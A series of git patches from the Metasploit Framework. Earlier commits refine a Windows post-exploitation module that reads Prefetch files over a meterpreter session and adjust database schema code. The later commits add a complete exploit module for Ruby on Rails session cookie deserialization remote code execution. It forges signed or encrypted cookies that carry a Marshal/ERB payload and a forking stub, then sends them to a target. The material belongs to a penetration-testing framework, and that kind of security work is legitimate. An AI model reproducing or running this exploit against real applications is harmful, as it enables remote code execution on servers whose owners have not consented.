From 4c56d8eba389d0eb072e806d7453062d7f784ab5 Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Mon, 15 Jul 2013 23:55:24 +0300 Subject: [PATCH 060/454] Still buggy --- modules/post/windows/gather/enum_prefetch.rb | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index 3edafa131116b..800d3cd5f3b4d 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -189,14 +189,18 @@ def run # gather_prefetch_info function that enumerates all the pf info getfile_prefetch_filenames = client.fs.file.search(full_path,file_type,recurse=false,timeout=-1) - getfile_prefetch_filenames.each do |file| - if file.empty? or file.nil? - print_error("Could not open file: %s." % file['name']) - - else + if getfile_prefetch_filenames.empty? or getfile_prefetch_filenames.nil? + print_error("Could not find/access any .pf files. Can't continue.") + return nil + else + getfile_prefetch_filenames.each do |file| + if file.empty? or file.nil? + print_error("Could not open file: %s" % filename) + else + filename = File.join(file['path'], file['name']) + gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename, table) - filename = File.join(file['path'], file['name']) - gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename, table) + end end end end From 5f3d3a39566d81b7741d8dfb1f51cd3e044b9931 Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Tue, 16 Jul 2013 01:05:08 +0300 Subject: [PATCH 061/454] still buggy --- modules/post/windows/gather/enum_prefetch.rb | 39 +++++++++++--------- 1 file changed, 21 insertions(+), 18 deletions(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index 800d3cd5f3b4d..af57462696df4 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -73,41 +73,44 @@ def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offs h = client.railgun.kernel32.CreateFileA(filename, "GENERIC_READ", "FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", nil) if h['GetLastError'] != 0 - print_error("Error opening a file handle.") - return nil + print_error("Error opening a file handle on %s." % filename) else handle = h['return'] # Finds the filename from the prefetch file client.railgun.kernel32.SetFilePointer(handle, name_offset, 0, nil) name = client.railgun.kernel32.ReadFile(handle, 60, 60, 4, nil) - x = name['lpBuffer'] - pname = Rex::Text.to_ascii(x.slice(0..x.index("\x00\x00"))) - # Finds the run count from the prefetch file + # Finds the run count from the prefetch file client.railgun.kernel32.SetFilePointer(handle, runcount_offset, 0, nil) count = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) - prun = count['lpBuffer'].unpack('L*')[0] - # Finds the hash. + # Finds the file path hash from the prefetch file client.railgun.kernel32.SetFilePointer(handle, hash_offset, 0, nil) - hh = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) - phash = hh['lpBuffer'].unpack('h*')[0].reverse + hash = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) # Finds the LastModified timestamp (MACE) - lm = client.priv.fs.get_file_mace(filename) - lmod = lm['Modified'].utc + lm = client.priv.fs.get_file_mace(filename) # Finds the Creation timestamp (MACE) - cr = client.priv.fs.get_file_mace(filename) - creat = cr['Created'].utc + ct = client.priv.fs.get_file_mace(filename) + + # Next we check everything was read successfully and prepare the results + if name.nil? or name.empty? or count.nil? or hash.nil? or lm.nil? or ct.nil? - # Saves the results to the table and closes the file handle - if name.nil? or count.nil? or hh.nil? or lm.nil? or cr.nil? - print_error("Could not access file: %s." % filename) + print_error("Read failed on file: %s" % filename) else - table << [lmod,creat,prun,phash,pname] + # Preparing the values + x = name['lpBuffer'] + pname = Rex::Text.to_ascii(x.slice(0..x.index("\x00\x00"))) + #x = Rex::Text.to_ascii(name['lpBuffer']) + #pname = x.slice(0..x.index(".EXE")) + prun = count['lpBuffer'].unpack('L*')[0] + phash = hash['lpBuffer'].unpack('h*')[0].reverse + lmod = lm['Modified'].utc + creat = ct['Created'].utc end + table << [lmod,creat,prun,phash,pname] client.railgun.kernel32.CloseHandle(handle) end end @@ -188,7 +191,7 @@ def run # Goes through the files in Prefetch directory, creates file paths for the # gather_prefetch_info function that enumerates all the pf info - getfile_prefetch_filenames = client.fs.file.search(full_path,file_type,recurse=false,timeout=-1) + getfile_prefetch_filenames = client.fs.file.search(full_path,file_type,recurse=false,timeout=10) if getfile_prefetch_filenames.empty? or getfile_prefetch_filenames.nil? print_error("Could not find/access any .pf files. Can't continue.") return nil From b32597620d92d8d51f460dda0270a2a409a0616f Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Tue, 16 Jul 2013 04:07:28 +0300 Subject: [PATCH 062/454] Finally working. --- modules/post/windows/gather/enum_prefetch.rb | 20 +++++++++----------- 1 file changed, 9 insertions(+), 11 deletions(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index af57462696df4..adf62720796ee 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -79,7 +79,9 @@ def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offs # Finds the filename from the prefetch file client.railgun.kernel32.SetFilePointer(handle, name_offset, 0, nil) - name = client.railgun.kernel32.ReadFile(handle, 60, 60, 4, nil) + fname = client.railgun.kernel32.ReadFile(handle, 60, 60, 4, nil) + name = fname['lpBuffer'] + idx = name.index("\x00\x00") # Finds the run count from the prefetch file client.railgun.kernel32.SetFilePointer(handle, runcount_offset, 0, nil) @@ -95,21 +97,17 @@ def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offs # Finds the Creation timestamp (MACE) ct = client.priv.fs.get_file_mace(filename) - # Next we check everything was read successfully and prepare the results - if name.nil? or name.empty? or count.nil? or hash.nil? or lm.nil? or ct.nil? - - print_error("Read failed on file: %s" % filename) + # Checking and moving the values + if idx.nil? or count.nil? or hash.nil? or lm.nil? or ct.nil? + print_error("Error reading file (might be temporary): %s" % filename) else - # Preparing the values - x = name['lpBuffer'] - pname = Rex::Text.to_ascii(x.slice(0..x.index("\x00\x00"))) - #x = Rex::Text.to_ascii(name['lpBuffer']) - #pname = x.slice(0..x.index(".EXE")) + pname = Rex::Text.to_ascii(name.slice(0..idx)) prun = count['lpBuffer'].unpack('L*')[0] phash = hash['lpBuffer'].unpack('h*')[0].reverse lmod = lm['Modified'].utc creat = ct['Created'].utc end + table << [lmod,creat,prun,phash,pname] client.railgun.kernel32.CloseHandle(handle) end @@ -191,7 +189,7 @@ def run # Goes through the files in Prefetch directory, creates file paths for the # gather_prefetch_info function that enumerates all the pf info - getfile_prefetch_filenames = client.fs.file.search(full_path,file_type,recurse=false,timeout=10) + getfile_prefetch_filenames = client.fs.file.search(full_path,file_type,timeout=-1) if getfile_prefetch_filenames.empty? or getfile_prefetch_filenames.nil? print_error("Could not find/access any .pf files. Can't continue.") return nil From ef82308e075767aea613359788fab84880c41679 Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Tue, 16 Jul 2013 12:45:03 +0300 Subject: [PATCH 063/454] Working versio --- modules/post/windows/gather/enum_prefetch.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index adf62720796ee..efdd217d41d79 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -8,6 +8,7 @@ require 'rex' require 'msf/core/post/windows/registry' class Metasploit3 < Msf::Post + include Msf::Post::Windows::Priv def initialize(info={}) @@ -200,7 +201,6 @@ def run else filename = File.join(file['path'], file['name']) gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename, table) - end end end From e13f4f5b4ed6f58bac1722190269bd5336c15609 Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Tue, 16 Jul 2013 13:46:42 +0300 Subject: [PATCH 064/454] Minor fix --- modules/post/windows/gather/enum_prefetch.rb | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index efdd217d41d79..4afaad996e20d 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -92,7 +92,7 @@ def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offs client.railgun.kernel32.SetFilePointer(handle, hash_offset, 0, nil) hash = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) - # Finds the LastModified timestamp (MACE) + # Finds the LastModified/Created timestamp (MACE) lm = client.priv.fs.get_file_mace(filename) # Finds the Creation timestamp (MACE) @@ -119,12 +119,6 @@ def run print_status("Prefetch Gathering started.") - if not is_admin? - print_error("You don't have enough privileges. Try getsystem.") - return nil - end - - begin # Check to see what Windows Version is running. @@ -136,6 +130,10 @@ def run sysnfo = client.sys.config.sysinfo['OS'] if sysnfo =~/(Windows XP)/ + if not is_system? + print_error("You don't have enough privileges. Try getsystem.") + return nil + end # Offsets for WinXP print_good("Detected Windows XP (max 128 entries)") name_offset = 0x10 @@ -146,6 +144,10 @@ def run key_value = "StandardName" elsif sysnfo =~/(Windows 7)/ + if not is_admin? + print_error("You don't have enough privileges. Try getsystem.") + return nil + end # Offsets for Win7 print_good("Detected Windows 7 (max 128 entries)") name_offset = 0x10 From 9985ea3c3a4505be33da88812dbad7c26b5cab7f Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Tue, 16 Jul 2013 14:18:54 +0300 Subject: [PATCH 065/454] Enumerates Windows Prefetch files through meterpreter session --- modules/post/windows/gather/enum_prefetch.rb | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index 4afaad996e20d..3cdb0422e5a4b 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -25,8 +25,8 @@ def initialize(info={}) def prefetch_key_value() # Checks if Prefetch registry key exists and what value it has. - reg_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Session\ Manager\\Memory\ Management\\PrefetchParameters", KEY_READ) - key_value = reg_key.query_value("EnablePrefetcher").data + prefetch_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Session\ Manager\\Memory\ Management\\PrefetchParameters", KEY_READ) + key_value = prefetch_key.query_value("EnablePrefetcher").data if key_value == 0 print_error("EnablePrefetcher Value: (0) = Disabled (Non-Default).") @@ -39,7 +39,7 @@ def prefetch_key_value() else print_error("No value or unknown value. Results might vary.") end - reg_key.close + prefetch_key.close end def timezone_key_values(key_value) @@ -88,7 +88,7 @@ def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offs client.railgun.kernel32.SetFilePointer(handle, runcount_offset, 0, nil) count = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) - # Finds the file path hash from the prefetch file + # Finds the file path hash from the prefetch file. client.railgun.kernel32.SetFilePointer(handle, hash_offset, 0, nil) hash = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) @@ -177,7 +177,6 @@ def run print_status("Searching for Prefetch Registry Value.") prefetch_key_value - print_line("") print_status("Searching for TimeZone Registry Values.") timezone_key_values(key_value) From c0e594eb6a2a783b3176272cc4ca931bc2c38a30 Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Tue, 16 Jul 2013 20:09:21 +0300 Subject: [PATCH 066/454] removed unnecessary begin-end --- modules/post/windows/gather/enum_prefetch.rb | 3 --- 1 file changed, 3 deletions(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index 3cdb0422e5a4b..8657cdbcecce2 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -119,8 +119,6 @@ def run print_status("Prefetch Gathering started.") - begin - # Check to see what Windows Version is running. # Needed for offsets. # Tested on WinXP and Win7 systems. Should work on WinVista & Win2k3.. @@ -205,7 +203,6 @@ def run end end end - end # Stores and prints out results results = table.to_s From f3bb0ec1ee3d9990c54766593a0797563824a627 Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Wed, 17 Jul 2013 02:53:24 +0300 Subject: [PATCH 067/454] moved table << --- modules/post/windows/gather/enum_prefetch.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index 8657cdbcecce2..1d0c8e5ea38a8 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -107,9 +107,8 @@ def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offs phash = hash['lpBuffer'].unpack('h*')[0].reverse lmod = lm['Modified'].utc creat = ct['Created'].utc + table << [lmod, creat,prun,phash,pname] end - - table << [lmod,creat,prun,phash,pname] client.railgun.kernel32.CloseHandle(handle) end end From 5d64bc06ac92481f049334f00f419dffe4a0f9f0 Mon Sep 17 00:00:00 2001 From: Samuel Huckins Date: Wed, 17 Jul 2013 11:46:08 -0500 Subject: [PATCH 068/454] Uses new MDM version. A few versions were apparently skipped, so the schema.rb changes include those as well. --- Gemfile | 2 +- Gemfile.lock | 4 ++-- db/schema.rb | 54 ++-------------------------------------------------- 3 files changed, 5 insertions(+), 55 deletions(-) diff --git a/Gemfile b/Gemfile index 0fbbd1a78f46e..042c3437bba33 100755 --- a/Gemfile +++ b/Gemfile @@ -17,7 +17,7 @@ group :db do # Needed for Msf::DbManager gem 'activerecord' # Database models shared between framework and Pro. - gem 'metasploit_data_models', '~> 0.16.1' + gem 'metasploit_data_models', '~> 0.16.6' # Needed for module caching in Mdm::ModuleDetails gem 'pg', '>= 0.11' end diff --git a/Gemfile.lock b/Gemfile.lock index 503c913cd9111..c532448b29098 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -23,7 +23,7 @@ GEM i18n (0.6.1) json (1.7.7) metaclass (0.0.1) - metasploit_data_models (0.16.1) + metasploit_data_models (0.16.6) activerecord (>= 3.2.13) activesupport pg @@ -67,7 +67,7 @@ DEPENDENCIES database_cleaner factory_girl (>= 4.1.0) json - metasploit_data_models (~> 0.16.1) + metasploit_data_models (~> 0.16.6) msgpack network_interface (~> 0.0.1) nokogiri diff --git a/db/schema.rb b/db/schema.rb index 5f4f6d242d471..42093e67645f7 100644 --- a/db/schema.rb +++ b/db/schema.rb @@ -11,7 +11,7 @@ # # It's strongly recommended to check this file into your version control system. -ActiveRecord::Schema.define(:version => 20130604145732) do +ActiveRecord::Schema.define(:version => 20130717150737) do create_table "api_keys", :force => true do |t| t.text "token" @@ -19,30 +19,6 @@ t.datetime "updated_at", :null => false end - create_table "attachments", :force => true do |t| - t.string "name", :limit => 512 - t.binary "data" - t.string "content_type", :limit => 512 - t.boolean "inline", :default => true, :null => false - t.boolean "zip", :default => false, :null => false - t.integer "campaign_id" - end - - create_table "attachments_email_templates", :id => false, :force => true do |t| - t.integer "attachment_id" - t.integer "email_template_id" - end - - create_table "campaigns", :force => true do |t| - t.integer "workspace_id", :null => false - t.string "name", :limit => 512 - t.text "prefs" - t.integer "status", :default => 0 - t.datetime "started_at" - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false - end - create_table "clients", :force => true do |t| t.integer "host_id" t.datetime "created_at" @@ -65,24 +41,6 @@ t.string "source_type" end - create_table "email_addresses", :force => true do |t| - t.integer "campaign_id", :null => false - t.string "first_name", :limit => 512 - t.string "last_name", :limit => 512 - t.string "address", :limit => 512 - t.boolean "sent", :default => false, :null => false - t.datetime "clicked_at" - end - - create_table "email_templates", :force => true do |t| - t.string "name", :limit => 512 - t.string "subject", :limit => 1024 - t.text "body" - t.integer "parent_id" - t.integer "campaign_id" - t.text "prefs" - end - create_table "events", :force => true do |t| t.integer "workspace_id" t.integer "host_id" @@ -581,14 +539,6 @@ add_index "web_sites", ["options"], :name => "index_web_sites_on_options" add_index "web_sites", ["vhost"], :name => "index_web_sites_on_vhost" - create_table "web_templates", :force => true do |t| - t.string "name", :limit => 512 - t.string "title", :limit => 512 - t.string "body", :limit => 524288 - t.integer "campaign_id" - t.text "prefs" - end - create_table "web_vulns", :force => true do |t| t.integer "web_site_id", :null => false t.datetime "created_at", :null => false @@ -596,7 +546,7 @@ t.text "path", :null => false t.string "method", :limit => 1024, :null => false t.text "params", :null => false - t.text "pname", :null => false + t.text "pname" t.integer "risk", :null => false t.string "name", :limit => 1024, :null => false t.text "query" From 832db57171b3b4d376f0e10121012ca62801d25c Mon Sep 17 00:00:00 2001 From: Samuel Huckins Date: Sat, 20 Jul 2013 10:27:12 -0500 Subject: [PATCH 069/454] Removed requirement for note.data to be present. It wasn't required in the model or in specs, but was in db.rb, resulting in an error during certain import scenarios. --- lib/msf/core/db.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/db.rb b/lib/msf/core/db.rb index a09a28f7f9143..100dc0aeaad95 100644 --- a/lib/msf/core/db.rb +++ b/lib/msf/core/db.rb @@ -1283,13 +1283,13 @@ def find_or_create_note(opts) # Report a Note to the database. Notes can be tied to a ::Mdm::Workspace, Host, or Service. # # opts MUST contain - # +:data+:: whatever it is you're making a note of # +:type+:: The type of note, e.g. smb_peer_os # # opts can contain # +:workspace+:: the workspace to associate with this Note # +:host+:: an IP address or a Host object to associate with this Note # +:service+:: a Service object to associate with this Note + # +:data+:: whatever it is you're making a note of # +:port+:: along with +:host+ and +:proto+, a service to associate with this Note # +:proto+:: along with +:host+ and +:port+, a service to associate with this Note # +:update+:: what to do in case a similar Note exists, see below @@ -1369,7 +1369,7 @@ def report_note(opts) end =end ntype = opts.delete(:type) || opts.delete(:ntype) || (raise RuntimeError, "A note :type or :ntype is required") - data = opts[:data] || (raise RuntimeError, "Note :data is required") + data = opts[:data] method = nil args = [] note = nil From 7f3eccd64453c3708ad4cb7ed7a6ea18354bac3d Mon Sep 17 00:00:00 2001 From: joernchen of Phenoelit Date: Fri, 26 Jul 2013 20:23:18 +0200 Subject: [PATCH 070/454] Rails 3/4 RCE w/ token --- .../http/rails_secret_deserialization.rb | 247 ++++++++++++++++++ 1 file changed, 247 insertions(+) create mode 100644 modules/exploits/multi/http/rails_secret_deserialization.rb diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb new file mode 100644 index 0000000000000..a36a2fb674cc3 --- /dev/null +++ b/modules/exploits/multi/http/rails_secret_deserialization.rb @@ -0,0 +1,247 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +#Helper Classes copy/paste from Rails4 +class MessageVerifier + class InvalidSignature < StandardError; end + def initialize(secret, options = {}) + @secret = secret + @digest = options[:digest] || 'SHA1' + @serializer = options[:serializer] || Marshal + end + + def generate(value) + data = ::Base64.strict_encode64(@serializer.dump(value)) + "#{data}--#{generate_digest(data)}" + end + def generate_digest(data) + require 'openssl' unless defined?(OpenSSL) + OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data) + end +end + +class MessageEncryptor + module NullSerializer #:nodoc: + def self.load(value) + value + end + def self.dump(value) + value + end + end + + class InvalidMessage < StandardError; end + OpenSSLCipherError = OpenSSL::Cipher::CipherError + + def initialize(secret, *signature_key_or_options) + options = signature_key_or_options.extract_options! + sign_secret = signature_key_or_options.first + @secret = secret + @sign_secret = sign_secret + @cipher = options[:cipher] || 'aes-256-cbc' + @verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer) + # @serializer = options[:serializer] || Marshal + end + def encrypt_and_sign(value) + @verifier.generate(_encrypt(value)) + end + + def _encrypt(value) + cipher = new_cipher + cipher.encrypt + cipher.key = @secret + # Rely on OpenSSL for the initialization vector + iv = cipher.random_iv + #encrypted_data = cipher.update(@serializer.dump(value)) + encrypted_data = cipher.update(value) + encrypted_data << cipher.final + [encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--") + end + def new_cipher + OpenSSL::Cipher::Cipher.new(@cipher) + end +end +class KeyGenerator + def initialize(secret, options = {}) + @secret = secret + @iterations = options[:iterations] || 2**16 + end + def generate_key(salt, key_size=64) + OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size) + end +end + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Ruby on Rails Session Cookie Remote Code Execution', + 'Description' => %q{ + }, + 'Author' => + [ + 'joernchen of Phenoelit', + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156'], + ['URL', 'https://charlie.bz/blog/rails-3.2.10-remote-code-execution'] + ], + 'Platform' => [ 'ruby'], + 'Arch' => [ 'ruby'], + 'Privileged' => false, + 'Targets' => [ ['Automatic', {} ] ], + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(80), + OptString.new('RAILSVERSION', [ true, 'The target Rails Version (use 3 for Rails3 and 2, 4 for Rails4)', "3"]), + OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), + OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "GET"]), + OptString.new('SECRET', [ true, 'The secret_token (Rails3) or secret_key_base (Rails4) of the application (needed to sign the cookie)', nil]), + OptString.new('COOKIE_NAME', [ false, 'The name of the session cookie',nil]), + OptString.new('DIGEST_NAME', [ true, 'The digest type used to HMAC the session cookie','SHA1']), + OptString.new('SALTENC', [ true, 'The encrypted cookie salt', 'encrypted cookie']), + OptString.new('SALTSIG', [ true, 'The signed encrypted cookie salt', 'signed encrypted cookie']), + + ], self.class) + end + + + # + # This stub ensures that the payload runs outside of the Rails process + # Otherwise, the session can be killed on timeout + # + def detached_payload_stub(code) + %Q^ + code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first + if RUBY_PLATFORM =~ /mswin|mingw|win32/ + inp = IO.popen("ruby", "wb") rescue nil + if inp + inp.write(code) + inp.close + end + else + Kernel.fork do + eval(code) + end + end + {} + ^.strip.split(/\n/).map{|line| line.strip}.join("\n") + end + + def check_secret(data, digest) + data = Rex::Text.uri_decode(data) + if datastore['RAILSVERSION'] == '3' + sigkey = datastore['SECRET'] + elsif datastore['RAILSVERSION'] == '4' + keygen = KeyGenerator.new(datastore['SECRET'],{:iterations => 1000}) + sigkey = keygen.generate_key(datastore['SALTSIG']) + end + digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new(datastore['DIGEST_NAME']), sigkey, data) + end + def rails_4 + keygen = KeyGenerator.new(datastore['SECRET'],{:iterations => 1000}) + enckey = keygen.generate_key(datastore['SALTENC']) + sigkey = keygen.generate_key(datastore['SALTSIG']) + crypter = MessageEncryptor.new(enckey, sigkey) + crypter.encrypt_and_sign(build_cookie) + end + def rails_3 + # Sign it with the secret_token + data = build_cookie + digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new("SHA1"), datastore['SECRET'], data) + marshal_payload = Rex::Text.uri_encode(data) + "#{marshal_payload}--#{digest}" + end + def build_cookie + + # Embed the payload with the detached stub + code = + "eval('" + + Rex::Text.encode_base64(detached_payload_stub(payload.encoded)) + + "'.unpack('m0').first)" + + if datastore['RAILSVERSION'] == '4' + return "\x04\b" + + "o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" + + ":\x0E@instanceo" + + ":\bERB\x06" + + ":\t@src"+ Marshal.dump(code)[2..-1] + + ":\f@method:\vresult:" + + "\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00" + end + if datastore['RAILSVERSION'] == '3' + return Rex::Text.encode_base64 "\x04\x08" + + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + + ":\x0E@instance" + + "o"+":\x08ERB"+"\x06" + + ":\x09@src" + + Marshal.dump(code)[2..-1] + + ":\x0C@method"+":\x0Bresult" + end + end + + # + # Send the actual request + # + def exploit + if datastore['RAILSVERSION'] == '3' + cookie = rails_3 + elsif datastore['RAILSVERSION'] == '4' + cookie = rails_4 + end + cookie_name = datastore['COOKIE_NAME'] + + print_status("Checking for cookie #{datastore['COOKIE_NAME']}") + res = send_request_cgi({ + 'uri' => datastore['TARGETURI'] || "/", + 'method' => datastore['HTTP_METHOD'], + }, 25) + if res && res.headers['Set-Cookie'] + match = res.headers['Set-Cookie'].match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+); /) + end + + if match + if match[1] == datastore['COOKIE_NAME'] + print_status("Found cookie, now checking for proper SECRET") + else + print_status("Adjusting cookie name to #{match[1]}") + cookie_name = match[1] + end + + if check_secret(match[2],match[3]) + print_good("SECRET matches! Sending exploit payload") + else + fail_with(Exploit::Failure::BadConfig, "SECRET does not match") + end + else + print_status("Caution: Cookie not found, maybe you need to adjust TARGETURI") + if cookie_name.nil? || cookie_name.empty? + # This prevents trying to send busted cookies with no name + fail_with(Exploit::Failure::BadConfig, "No cookie found and no name given") + end + print_status("Sending payload anyways! ;)") + end + + res = send_request_cgi({ + 'uri' => datastore['TARGETURI'] || "/", + 'method' => datastore['HTTP_METHOD'], + 'headers' => {'Cookie' => cookie_name+"="+ cookie}, + }, 25) + + handler + end +end From 8cdd1631507e0e0a0c9f614c23e842455ad50b4f Mon Sep 17 00:00:00 2001 From: joernchen of Phenoelit Date: Sun, 28 Jul 2013 13:52:27 +0200 Subject: [PATCH 071/454] Module polishing, thanks @todb-r7. Two test-apps (Rails 3/4) are available for this module. Ping me if you want to use them. --- .../http/rails_secret_deserialization.rb | 36 +++++++++++-------- 1 file changed, 21 insertions(+), 15 deletions(-) diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb index a36a2fb674cc3..d7ad2b1707cb9 100644 --- a/modules/exploits/multi/http/rails_secret_deserialization.rb +++ b/modules/exploits/multi/http/rails_secret_deserialization.rb @@ -56,7 +56,7 @@ def _encrypt(value) cipher = new_cipher cipher.encrypt cipher.key = @secret - # Rely on OpenSSL for the initialization vector + # Rely on OpenSSL for the initialization vector iv = cipher.random_iv #encrypted_data = cipher.update(@serializer.dump(value)) encrypted_data = cipher.update(value) @@ -87,17 +87,23 @@ def initialize(info = {}) super(update_info(info, 'Name' => 'Ruby on Rails Session Cookie Remote Code Execution', 'Description' => %q{ + This module implements Remote Command Execution on Ruby on Rails applications. + Prerequisite is knowledge of the "secret_token" (Rails 2/3) or "secret_key_base" + (Rails 4). The values for those can be usually found in the file + "RAILS_ROOT/config/initializers/secret_token.rb". The module achieves RCE by + deserialization of some crafted Ruby Object }, 'Author' => [ - 'joernchen of Phenoelit', + 'joernchen of Phenoelit ', ], 'License' => MSF_LICENSE, 'References' => [ - ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156'], - ['URL', 'https://charlie.bz/blog/rails-3.2.10-remote-code-execution'] + ['URL', 'https://charlie.bz/blog/rails-3.2.10-remote-code-execution'], #Initial exploit vector was taken from here + ['URL', 'http://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/'] ], + 'DisclosureDate' => 'Apr 11 2013', 'Platform' => [ 'ruby'], 'Arch' => [ 'ruby'], 'Privileged' => false, @@ -107,7 +113,7 @@ def initialize(info = {}) register_options( [ Opt::RPORT(80), - OptString.new('RAILSVERSION', [ true, 'The target Rails Version (use 3 for Rails3 and 2, 4 for Rails4)', "3"]), + OptInt.new('RAILSVERSION', [ true, 'The target Rails Version (use 3 for Rails3 and 2, 4 for Rails4)', 3]), OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "GET"]), OptString.new('SECRET', [ true, 'The secret_token (Rails3) or secret_key_base (Rails4) of the application (needed to sign the cookie)', nil]), @@ -141,12 +147,12 @@ def detached_payload_stub(code) {} ^.strip.split(/\n/).map{|line| line.strip}.join("\n") end - + def check_secret(data, digest) data = Rex::Text.uri_decode(data) - if datastore['RAILSVERSION'] == '3' + if datastore['RAILSVERSION'] == 3 sigkey = datastore['SECRET'] - elsif datastore['RAILSVERSION'] == '4' + elsif datastore['RAILSVERSION'] == 4 keygen = KeyGenerator.new(datastore['SECRET'],{:iterations => 1000}) sigkey = keygen.generate_key(datastore['SALTSIG']) end @@ -162,7 +168,7 @@ def rails_4 def rails_3 # Sign it with the secret_token data = build_cookie - digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new("SHA1"), datastore['SECRET'], data) + digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new("SHA1"), datastore['SECRET'], data) marshal_payload = Rex::Text.uri_encode(data) "#{marshal_payload}--#{digest}" end @@ -174,7 +180,7 @@ def build_cookie Rex::Text.encode_base64(detached_payload_stub(payload.encoded)) + "'.unpack('m0').first)" - if datastore['RAILSVERSION'] == '4' + if 